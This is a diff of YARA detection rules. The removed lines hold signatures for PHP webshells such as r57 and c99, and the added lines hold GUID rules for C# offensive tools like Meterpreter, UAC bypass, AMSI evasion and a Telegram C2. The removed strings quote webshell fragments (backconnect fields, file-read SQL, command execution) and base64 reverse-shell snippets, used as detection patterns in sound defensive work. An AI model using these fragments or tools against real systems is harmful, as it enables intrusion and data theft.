+		modified = "2023-04-06"
+		reference = "https://github.com/anthemtotheego/SharpCradle"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1218-L1232"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a56c456a7c4f61b65f603bc2c8449668a90e36f8b240bca8ea474d82e8174c78"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
-		hash1 = "3ca5886cd54d495dc95793579611f59a"
-		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
-		hash3 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
-		hash4 = "09609851caa129e40b0d56e90dfc476c"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "else {$act = \"f\"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPA"
-		$s3 = "else {echo \"<b>File \\\"\".$sql_getfile.\"\\\":</b><br>\".nl2br(htmlspec"
+		$typelibguid0lo = "f70d2b71-4aae-4b24-9dae-55bc819c78bb" ascii wide
+		$typelibguid0up = "F70D2B71-4AAE-4B24-9DAE-55BC819C78BB" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__R577_Php_Php_Sniper_SA_Shell_Php_R57_Php_Php_Spy_Php_Php_S_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Bypassuac : FILE
 {
 	meta:
-		description = "Semi-Auto-generated "
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "44b53124-c8b6-545b-819f-77fd65e5d61b"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5139-L5155"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "834c33059e08e8075a8d3f69187b74f3b53afabfc37ae1f13a2f579f0948a363"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "327f581e-1d8c-5d20-bdd7-a29810c619c9"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/cnsimo/BypassUAC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1234-L1250"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e466c4e3da0e8bc98eac148c67831df639befab716e0da5c779e3caacbf349a8"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
-		hash1 = "911195a9b7c010f61b66439d9048f400"
-		hash2 = "eddf7a8fde1e50a7f2a817ef7cece24f"
-		hash3 = "eed14de3907c9aa2550d95550d1a2d5f"
-		hash4 = "817671e1bdc85e04cc3440bbd9288800"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "echo sr(15,\"<b>\".$lang[$language.'_text"
-		$s1 = ".$arrow.\"</b>\",in('text','"
+		$typelibguid0lo = "4e7c140d-bcc4-4b15-8c11-adb4e54cc39a" ascii wide
+		$typelibguid0up = "4E7C140D-BCC4-4B15-8C11-ADB4E54CC39A" ascii wide
+		$typelibguid1lo = "cec553a7-1370-4bbc-9aae-b2f5dbde32b0" ascii wide
+		$typelibguid1up = "CEC553A7-1370-4BBC-9AAE-B2F5DBDE32B0" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__R577_Php_Php_Sniper_SA_Shell_Php_R57_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Hanzoinjection : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files r577.php.php.txt, SnIpEr_SA Shell.php.txt, r57.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "44b53124-c8b6-545b-819f-77fd65e5d61b"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5156-L5171"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f97846fdaac949185b4ce6a25cc276f4ae4243d891acb18c3a3ce0c18b540976"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "c432bf68-49bf-57c7-bbfa-7bd2f3506c52"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/P0cL4bs/hanzoInjection"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1252-L1266"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aec8befc497505ea750ce0cfc1e0b1ef21b5a6b97660f5403d6612629edaa114"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
-		hash1 = "911195a9b7c010f61b66439d9048f400"
-		hash2 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash'," fullword
-		$s1 = "$name='ec371748dc2da624b35a4f8f685dd122'"
-		$s2 = "rst.void.ru"
+		$typelibguid0lo = "32e22e25-b033-4d98-a0b3-3d2c3850f06c" ascii wide
+		$typelibguid0up = "32E22E25-B033-4D98-A0B3-3D2C3850F06C" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__R577_Php_Php_R57_Shell_Php_Php_Spy_Php_Php_S_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Clr_Meterpreter : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files r577.php.php.txt, r57 Shell.php.php.txt, spy.php.php.txt, s.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "7a31b923-15e5-5af4-9ad0-8d261fedf7c4"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5172-L5188"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "764a374c1e4acec8978db1e7e7e326c4fa95c6f92e1ca5a6d7f892bb05ecd289"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "1d8a9717-4d80-5fb1-9c57-9b5f6c5a18b0"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/OJ/clr-meterpreter"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1268-L1292"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "15fb4e51fc1473fbee3b08c2a94b6a984cc5b9c92c8aab5641f161aef8b5f01b"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
-		hash1 = "8023394542cddf8aee5dec6072ed02b5"
-		hash2 = "eed14de3907c9aa2550d95550d1a2d5f"
-		hash3 = "817671e1bdc85e04cc3440bbd9288800"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "echo ws(2).$lb.\" <a"
-		$s1 = "$sql = \"LOAD DATA INFILE \\\"\".$_POST['test3_file']"
-		$s3 = "if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?(\"dir\"):(\"l"
+		$typelibguid0lo = "6840b249-1a0e-433b-be79-a927696ea4b3" ascii wide
+		$typelibguid0up = "6840B249-1A0E-433B-BE79-A927696EA4B3" ascii wide
+		$typelibguid1lo = "67c09d37-ac18-4f15-8dd6-b5da721c0df6" ascii wide
+		$typelibguid1up = "67C09D37-AC18-4F15-8DD6-B5DA721C0DF6" ascii wide
+		$typelibguid2lo = "e05d0deb-d724-4448-8c4c-53d6a8e670f3" ascii wide
+		$typelibguid2up = "E05D0DEB-D724-4448-8C4C-53D6A8E670F3" ascii wide
+		$typelibguid3lo = "c3cc72bf-62a2-4034-af66-e66da73e425d" ascii wide
+		$typelibguid3up = "C3CC72BF-62A2-4034-AF66-E66DA73E425D" ascii wide
+		$typelibguid4lo = "7ace3762-d8e1-4969-a5a0-dcaf7b18164e" ascii wide
+		$typelibguid4up = "7ACE3762-D8E1-4969-A5A0-DCAF7B18164E" ascii wide
+		$typelibguid5lo = "3296e4a3-94b5-4232-b423-44f4c7421cb3" ascii wide
+		$typelibguid5up = "3296E4A3-94B5-4232-B423-44F4C7421CB3" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__Wacking_Php_Php_1_Specialshell_99_Php_Php_C100_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_BYTAGE : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files wacking.php.php.txt, 1.txt, SpecialShell_99.php.php.txt, c100.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "3dac5550-598a-5a0f-95c3-2e0162a686ee"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5189-L5205"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0d32fc00ba2602a1140dc9030894bb9524c55b95c445a08f2bf6f8fc60108e64"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "4f87ca2c-3ac1-5733-893e-79665b80ffc3"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/KNIF/BYTAGE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1294-L1308"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "faf0172ab464c4a19ce5ba4514f2a60ac4e78ce20be4fb4878a23e2980b6ea88"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "9c5bb5e3a46ec28039e8986324e42792"
-		hash1 = "44542e5c3e9790815c49d5f9beffbbf2"
-		hash2 = "09609851caa129e40b0d56e90dfc476c"
-		hash3 = "38fd7e45f9c11a37463c3ded1c76af4c"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "if(eregi(\"./shbd $por\",$scan))"
-		$s1 = "$_POST['backconnectip']"
-		$s2 = "$_POST['backcconnmsg']"
+		$typelibguid0lo = "8e46ba56-e877-4dec-be1e-394cb1b5b9de" ascii wide
+		$typelibguid0up = "8E46BA56-E877-4DEC-BE1E-394CB1B5B9DE" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__R577_Php_Php_R57_Php_Php_R57_Shell_Php_Php_Spy_Php_Php_S_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Multios_Reverseshell : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files r577.php.php.txt, r57.php.php.txt, r57 Shell.php.php.txt, spy.php.php.txt, s.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "093892f6-ff53-5bd1-b7b2-fea21a9258aa"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5206-L5223"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "afbd2103b0c953d6aec070ba450f43e567560bc9743423a5731cd4d6e5e36bb6"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "f54bcb1a-b0cd-5988-bf1d-4fa6c012d6b9"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/belane/MultiOS_ReverseShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1310-L1324"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ae5a41fd66f058a8f89f6b9d488d7f4a845bf7829a1eb04f49c4e8e4c8db1cc0"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
-		hash1 = "eddf7a8fde1e50a7f2a817ef7cece24f"
-		hash2 = "8023394542cddf8aee5dec6072ed02b5"
-		hash3 = "eed14de3907c9aa2550d95550d1a2d5f"
-		hash4 = "817671e1bdc85e04cc3440bbd9288800"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "if(rmdir($_POST['mk_name']))"
-		$s2 = "$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td>"
-		$s3 = "if(unlink($_POST['mk_name'])) echo \"<table width=100% cellpadding=0 cell"
+		$typelibguid0lo = "df0dd7a1-9f6b-4b0f-801e-e17e73b0801d" ascii wide
+		$typelibguid0up = "DF0DD7A1-9F6B-4B0F-801E-E17E73B0801D" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__W_Php_Php_Wacking_Php_Php_Sses_Php_Php_Specialshell_99_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Hidefromamsi : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files w.php.php.txt, wacking.php.php.txt, SsEs.php.php.txt, SpecialShell_99.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "81480945-b684-50b6-9431-4ab7a786b214"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5224-L5240"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9bbcb687c83c01ad52e8978a60e604a74f10c33a63af3b91d0286b30dea42890"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "0fa1ce82-b662-5e18-a5da-8359c96cd6e9"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/0r13lc0ch4v1/HideFromAMSI"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1326-L1340"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c4c06b8f40a38d5386cb49befd7705552b471e443188b6af1d85d7bd4277cc1c"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
-		hash1 = "9c5bb5e3a46ec28039e8986324e42792"
-		hash2 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
-		hash3 = "09609851caa129e40b0d56e90dfc476c"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\"ext_avi\"=>array(\"ext_avi\",\"ext_mov\",\"ext_mvi"
-		$s1 = "echo \"<b>Execute file:</b><form action=\\\"\".$surl.\"\\\" method=POST><inpu"
-		$s2 = "\"ext_htaccess\"=>array(\"ext_htaccess\",\"ext_htpasswd"
+		$typelibguid0lo = "b91d2d44-794c-49b8-8a75-2fbec3fe3fe3" ascii wide
+		$typelibguid0up = "B91D2D44-794C-49B8-8A75-2FBEC3FE3FE3" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Multiple_Php_Webshells
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Dotnetavbypass_Master : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files multiple_php_webshells"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5242-L5263"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d55c96febd64107273001edadbda6d0a1b4b00e35fb41b46561b49fca6a9bd1b"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "4004271b-4fbe-58bb-9613-a077e76324b3"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/lockfale/DotNetAVBypass-Master"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1342-L1356"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "28446fae71b06f0418a5dd3cb6d6842dcc930313f7740704770b41f16ad0e7b5"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
-		hash1 = "911195a9b7c010f61b66439d9048f400"
-		hash2 = "be0f67f3e995517d18859ed57b4b4389"
-		hash3 = "eddf7a8fde1e50a7f2a817ef7cece24f"
-		hash4 = "8023394542cddf8aee5dec6072ed02b5"
-		hash5 = "eed14de3907c9aa2550d95550d1a2d5f"
-		hash6 = "817671e1bdc85e04cc3440bbd9288800"
-		hash7 = "7101fe72421402029e2629f3aaed6de7"
-		hash8 = "f618f41f7ebeb5e5076986a66593afd1"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuI"
-		$s2 = "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0"
-		$s4 = "A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg"
+		$typelibguid0lo = "4854c8dc-82b0-4162-86e0-a5bbcbc10240" ascii wide
+		$typelibguid0up = "4854C8DC-82B0-4162-86E0-A5BBCBC10240" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__W_Php_Php_C99Madshell_V2_1_Php_Php_Wacking_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpdpapi : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "ee1fd555-f1bc-59a5-998c-f6098de8623e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5264-L5279"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c089f8175532ddc0e2d256b4972f7db32683bd213a456622ed27ab4844d1e435"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "1394323f-b336-548f-925c-c276d439e9eb"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/GhostPack/SharpDPAPI"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1358-L1374"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5846d932bb8064a82e57f942d0c7a8feec4c8582bb2eac64be7cc662d60e6d6e"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
-		hash1 = "3ca5886cd54d495dc95793579611f59a"
-		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<b>Dumped! Dump has been writed to "
-		$s1 = "if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo \"<TABLE st"
-		$s2 = "<input type=submit name=actarcbuff value=\\\"Pack buffer to archive"
+		$typelibguid0lo = "5f026c27-f8e6-4052-b231-8451c6a73838" ascii wide
+		$typelibguid0up = "5F026C27-F8E6-4052-B231-8451C6A73838" ascii wide
+		$typelibguid1lo = "2f00a05b-263d-4fcc-846b-da82bd684603" ascii wide
+		$typelibguid1up = "2F00A05B-263D-4FCC-846B-DA82BD684603" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__W_Php_Php_C99Madshell_V2_1_Php_Php_Wacking_Php_Php_C99Shell_V1_0_Php_Php_C99Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Telegra_Csharp_C2 : FILE
 {
 	meta:
-		description = "Semi-Auto-generated "
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5280-L5297"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e82882e89a1aeb256768f2af7a6d3674c89f9abc358710b33b8d3d425defcef1"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "495a5f3e-cf05-5a66-b01c-8176ded88768"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/sf197/Telegra_Csharp_C2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1376-L1390"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b931009110366712cc9d69a7cb7feaa7a02f7baa93bc3c3fbb76c4132554b10e"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
-		hash1 = "3ca5886cd54d495dc95793579611f59a"
-		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
-		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
-		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "@ini_set(\"highlight" fullword
-		$s1 = "echo \"<b>Result of execution this PHP-code</b>:<br>\";" fullword
-		$s2 = "{$row[] = \"<b>Owner/Group</b>\";}" fullword
+		$typelibguid0lo = "1d79fabc-2ba2-4604-a4b6-045027340c85" ascii wide
+		$typelibguid0up = "1D79FABC-2BA2-4604-A4B6-045027340C85" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__GFS_Web_Shell_Ver_3_1_7___Priv8_Php_Nshell_Php_Php_Gfs_Sh_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcompile : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files GFS web-shell ver 3.1.7 - PRiV8.php.txt, nshell.php.php.txt, gfs_sh.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "4d1dd87b-1ffd-564d-9411-c5d2fc01ae0f"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5298-L5313"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9df5b6df25574b303044a0799c5eb5f38f9ebfbc6f6114275fe1e34adbde1f7c"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "c5e053c4-1c90-581a-a6c3-087b252254b2"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/SpiderLabs/SharpCompile"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1392-L1406"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "60ecb9a9fa90e096d6b5d830787989046f5f8441282f4d7a072c6d7435add42d"
 		score = 75
-		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "be0f67f3e995517d18859ed57b4b4389"
-		hash1 = "4a44d82da21438e32d4f514ab35c26b6"
-		hash2 = "f618f41f7ebeb5e5076986a66593afd1"
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "echo $uname.\"</font><br><b>\";" fullword
-		$s3 = "while(!feof($f)) { $res.=fread($f,1024); }" fullword
-		$s4 = "echo \"user=\".@get_current_user().\" uid=\".@getmyuid().\" gid=\".@getmygid()"
+		$typelibguid0lo = "63f81b73-ff18-4a36-b095-fdcb4776da4c" ascii wide
+		$typelibguid0up = "63F81B73-FF18-4A36-B095-FDCB4776DA4C" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
